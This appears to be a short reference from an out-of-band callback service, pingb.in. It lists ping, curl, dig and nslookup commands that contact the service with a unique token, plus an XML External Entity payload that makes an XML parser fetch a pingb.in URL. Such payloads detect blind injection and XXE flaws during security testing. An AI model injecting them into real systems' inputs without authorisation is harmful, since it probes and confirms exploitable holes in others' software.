$ ping -c1 -p 0065af4dba0bdaddffea528e9ecba200 pingb.in
 

$ curl pingb.in/p/65af4dba0bdaddffea528e9ecba2
 

$ dig 65af4dba0bdaddffea528e9ecba2 @pingb.in
 

$ dig 65af4dba0bdaddffea528e9ecba2.ns.pingb.in
 

C:\> nslookup 65af4dba0bdaddffea528e9ecba2 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/65af4dba0bdaddffea528e9ecba2">]>
    <foo>&xxe;</foo>